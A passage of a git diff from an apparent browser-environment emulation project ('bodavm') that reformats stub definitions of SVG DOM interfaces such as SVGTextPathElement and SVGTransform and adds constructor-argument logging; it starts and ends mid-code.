getComputedTextLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getComputedTextLength", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getEndPositionOfChar", { + configurable: true, + enumerable: true, + writable: true, + value: function getEndPositionOfChar() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getEndPositionOfChar", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getExtentOfChar", { + configurable: true, + enumerable: true, + writable: true, + value: function getExtentOfChar() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getExtentOfChar", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getNumberOfChars", { + configurable: true, + enumerable: true, + writable: true, + value: function getNumberOfChars() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getNumberOfChars", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getRotationOfChar", { + configurable: true, + enumerable: true, + writable: true, + value: function getRotationOfChar() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getRotationOfChar", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getStartPositionOfChar", { + configurable: true, + enumerable: true, + writable: true, + value: function getStartPositionOfChar() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getStartPositionOfChar", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getSubStringLength", { + configurable: true, + enumerable: true, + writable: true, + value: function getSubStringLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getSubStringLength", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "selectSubString", { + configurable: true, + enumerable: true, + writable: true, + value: function selectSubString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "selectSubString", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGTextElement.js b/env_xbb_lastest_jsdom/env/SVGTextElement.js index b3963abb..68d352b0 100644 --- a/env_xbb_lastest_jsdom/env/SVGTextElement.js +++ b/env_xbb_lastest_jsdom/env/SVGTextElement.js @@ -1,8 +1,37 @@ -// SVGTextElement对象 -bodavm.memory.globalobj['SVGTextElement'] = function SVGTextElement(){if (!(this instanceof SVGTextElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTextElement'], "SVGTextElement"); -bodavm.memory.globalobj['SVGTextElement'].prototype.__proto__=bodavm.memory.globalobj['SVGTextPositioningElement'].prototype; -bodavm.memory.globalobj['SVGTextElement'].__proto__=bodavm.memory.globalobj['SVGTextPositioningElement']; -bodavm.toolsFunc.defineProperty('SVGTextElement', "LENGTHADJUST_SPACINGANDGLYPHS", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGTextElement', "LENGTHADJUST_SPACING", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGTextElement', "LENGTHADJUST_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); +// SVGTextElement对象 + +bodavm.memory.globalobj['SVGTextElement'] = function SVGTextElement() { + console.log_copy('SVGTextElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGTextElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTextElement'], "SVGTextElement"); +bodavm.memory.globalobj['SVGTextElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGTextPositioningElement'].prototype; +bodavm.memory.globalobj['SVGTextElement'].__proto__ = bodavm.memory.globalobj['SVGTextPositioningElement']; +bodavm.toolsFunc.defineProperty('SVGTextElement', "LENGTHADJUST_SPACINGANDGLYPHS", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGTextElement', "LENGTHADJUST_SPACING", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGTextElement', "LENGTHADJUST_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGTextPathElement.js b/env_xbb_lastest_jsdom/env/SVGTextPathElement.js index 0bb5af0e..f8405c0e 100644 --- a/env_xbb_lastest_jsdom/env/SVGTextPathElement.js +++ b/env_xbb_lastest_jsdom/env/SVGTextPathElement.js @@ -1,24 +1,141 @@ -// SVGTextPathElement对象 -bodavm.memory.globalobj['SVGTextPathElement'] = function SVGTextPathElement(){if (!(this instanceof SVGTextPathElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTextPathElement'], "SVGTextPathElement"); -bodavm.memory.globalobj['SVGTextPathElement'].prototype.__proto__=bodavm.memory.globalobj['SVGTextContentElement'].prototype; -bodavm.memory.globalobj['SVGTextPathElement'].__proto__=bodavm.memory.globalobj['SVGTextContentElement']; -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_SPACINGTYPE_EXACT", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_SPACINGTYPE_AUTO", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_SPACINGTYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_METHODTYPE_STRETCH", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_METHODTYPE_ALIGN", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_METHODTYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "LENGTHADJUST_SPACINGANDGLYPHS", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "LENGTHADJUST_SPACING", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "LENGTHADJUST_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_SPACINGTYPE_EXACT", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_SPACINGTYPE_AUTO", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_SPACINGTYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_METHODTYPE_STRETCH", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_METHODTYPE_ALIGN", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_METHODTYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "startOffset", {configurable:true, enumerable:true, get:function startOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPathElement'].prototype, "SVGTextPathElement", "startOffset_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "method", {configurable:true, enumerable:true, get:function method (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPathElement'].prototype, "SVGTextPathElement", "method_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "spacing", {configurable:true, enumerable:true, get:function spacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPathElement'].prototype, "SVGTextPathElement", "spacing_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextPathElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPathElement'].prototype, "SVGTextPathElement", "href_get", arguments)}, set:undefined},'prototype'); +// SVGTextPathElement对象 + +bodavm.memory.globalobj['SVGTextPathElement'] = function SVGTextPathElement() { + console.log_copy('SVGTextPathElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGTextPathElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTextPathElement'], "SVGTextPathElement"); +bodavm.memory.globalobj['SVGTextPathElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGTextContentElement'].prototype; +bodavm.memory.globalobj['SVGTextPathElement'].__proto__ = bodavm.memory.globalobj['SVGTextContentElement']; +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_SPACINGTYPE_EXACT", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_SPACINGTYPE_AUTO", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_SPACINGTYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_METHODTYPE_STRETCH", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_METHODTYPE_ALIGN", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_METHODTYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "LENGTHADJUST_SPACINGANDGLYPHS", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "LENGTHADJUST_SPACING", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "LENGTHADJUST_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_SPACINGTYPE_EXACT", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_SPACINGTYPE_AUTO", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_SPACINGTYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_METHODTYPE_STRETCH", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_METHODTYPE_ALIGN", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_METHODTYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "startOffset", { + configurable: true, + enumerable: true, + get: function startOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPathElement'].prototype, "SVGTextPathElement", "startOffset_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "method", { + configurable: true, + enumerable: true, + get: function method() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPathElement'].prototype, "SVGTextPathElement", "method_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "spacing", { + configurable: true, + enumerable: true, + get: function spacing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPathElement'].prototype, "SVGTextPathElement", "spacing_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPathElement'].prototype, "SVGTextPathElement", "href_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGTextPositioningElement.js b/env_xbb_lastest_jsdom/env/SVGTextPositioningElement.js index f9bacbe4..699e2be9 100644 --- a/env_xbb_lastest_jsdom/env/SVGTextPositioningElement.js +++ b/env_xbb_lastest_jsdom/env/SVGTextPositioningElement.js @@ -1,13 +1,77 @@ -// SVGTextPositioningElement对象 -bodavm.memory.globalobj['SVGTextPositioningElement'] = function SVGTextPositioningElement(){if (!(this instanceof SVGTextPositioningElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTextPositioningElement'], "SVGTextPositioningElement"); -bodavm.memory.globalobj['SVGTextPositioningElement'].prototype.__proto__=bodavm.memory.globalobj['SVGTextContentElement'].prototype; -bodavm.memory.globalobj['SVGTextPositioningElement'].__proto__=bodavm.memory.globalobj['SVGTextContentElement']; -bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "LENGTHADJUST_SPACINGANDGLYPHS", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "LENGTHADJUST_SPACING", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "LENGTHADJUST_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPositioningElement'].prototype, "SVGTextPositioningElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPositioningElement'].prototype, "SVGTextPositioningElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "dx", {configurable:true, enumerable:true, get:function dx (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPositioningElement'].prototype, "SVGTextPositioningElement", "dx_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "dy", {configurable:true, enumerable:true, get:function dy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPositioningElement'].prototype, "SVGTextPositioningElement", "dy_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "rotate", {configurable:true, enumerable:true, get:function rotate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPositioningElement'].prototype, "SVGTextPositioningElement", "rotate_get", arguments)}, set:undefined},'prototype'); +// SVGTextPositioningElement对象 + +bodavm.memory.globalobj['SVGTextPositioningElement'] = function SVGTextPositioningElement() { + console.log_copy('SVGTextPositioningElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGTextPositioningElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTextPositioningElement'], "SVGTextPositioningElement"); +bodavm.memory.globalobj['SVGTextPositioningElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGTextContentElement'].prototype; +bodavm.memory.globalobj['SVGTextPositioningElement'].__proto__ = bodavm.memory.globalobj['SVGTextContentElement']; +bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "LENGTHADJUST_SPACINGANDGLYPHS", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "LENGTHADJUST_SPACING", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "LENGTHADJUST_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPositioningElement'].prototype, "SVGTextPositioningElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPositioningElement'].prototype, "SVGTextPositioningElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "dx", { + configurable: true, + enumerable: true, + get: function dx() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPositioningElement'].prototype, "SVGTextPositioningElement", "dx_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "dy", { + configurable: true, + enumerable: true, + get: function dy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPositioningElement'].prototype, "SVGTextPositioningElement", "dy_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "rotate", { + configurable: true, + enumerable: true, + get: function rotate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPositioningElement'].prototype, "SVGTextPositioningElement", "rotate_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGTitleElement.js b/env_xbb_lastest_jsdom/env/SVGTitleElement.js index f4f950f2..016c30be 100644 --- a/env_xbb_lastest_jsdom/env/SVGTitleElement.js +++ b/env_xbb_lastest_jsdom/env/SVGTitleElement.js @@ -1,5 +1,19 @@ -// SVGTitleElement对象 -bodavm.memory.globalobj['SVGTitleElement'] = function SVGTitleElement(){if (!(this instanceof SVGTitleElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTitleElement'], "SVGTitleElement"); -bodavm.memory.globalobj['SVGTitleElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGTitleElement'].__proto__=bodavm.memory.globalobj['SVGElement']; +// SVGTitleElement对象 + +bodavm.memory.globalobj['SVGTitleElement'] = function SVGTitleElement() { + console.log_copy('SVGTitleElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGTitleElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTitleElement'], "SVGTitleElement"); +bodavm.memory.globalobj['SVGTitleElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGTitleElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGTransform.js b/env_xbb_lastest_jsdom/env/SVGTransform.js index 415086a4..9e691a41 100644 --- a/env_xbb_lastest_jsdom/env/SVGTransform.js +++ b/env_xbb_lastest_jsdom/env/SVGTransform.js @@ -1,26 +1,173 @@ -// SVGTransform对象 -bodavm.memory.globalobj['SVGTransform'] = function SVGTransform(){if (!(this instanceof SVGTransform)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTransform'], "SVGTransform"); -bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_MATRIX", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_TRANSLATE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_SCALE", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_ROTATE", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_SKEWX", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_SKEWY", {configurable:false, enumerable:true, writable:false, value:6}); -bodavm.toolsFunc.defineProperty('SVGTransform', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "matrix", {configurable:true, enumerable:true, get:function matrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "matrix_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "angle", {configurable:true, enumerable:true, get:function angle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "angle_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_MATRIX", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_TRANSLATE", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_SCALE", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_ROTATE", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_SKEWX", {configurable:false, enumerable:true, writable:false, value:5},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_SKEWY", {configurable:false, enumerable:true, writable:false, value:6},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "setMatrix", {configurable:true, enumerable:true, writable:true, value:function setMatrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "setMatrix", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "setRotate", {configurable:true, enumerable:true, writable:true, value:function setRotate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "setRotate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "setScale", {configurable:true, enumerable:true, writable:true, value:function setScale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "setScale", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "setSkewX", {configurable:true, enumerable:true, writable:true, value:function setSkewX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "setSkewX", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "setSkewY", {configurable:true, enumerable:true, writable:true, value:function setSkewY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "setSkewY", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransform', "setTranslate", {configurable:true, enumerable:true, writable:true, value:function setTranslate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "setTranslate", arguments)}},'prototype'); +// SVGTransform对象 + +bodavm.memory.globalobj['SVGTransform'] = function SVGTransform() { + console.log_copy('SVGTransform 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGTransform)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTransform'], "SVGTransform"); +bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_MATRIX", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_TRANSLATE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_SCALE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_ROTATE", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_SKEWX", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_SKEWY", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}); +bodavm.toolsFunc.defineProperty('SVGTransform', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "matrix", { + configurable: true, + enumerable: true, + get: function matrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "matrix_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "angle", { + configurable: true, + enumerable: true, + get: function angle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "angle_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_MATRIX", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_TRANSLATE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_SCALE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_ROTATE", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_SKEWX", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_SKEWY", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "setMatrix", { + configurable: true, + enumerable: true, + writable: true, + value: function setMatrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "setMatrix", 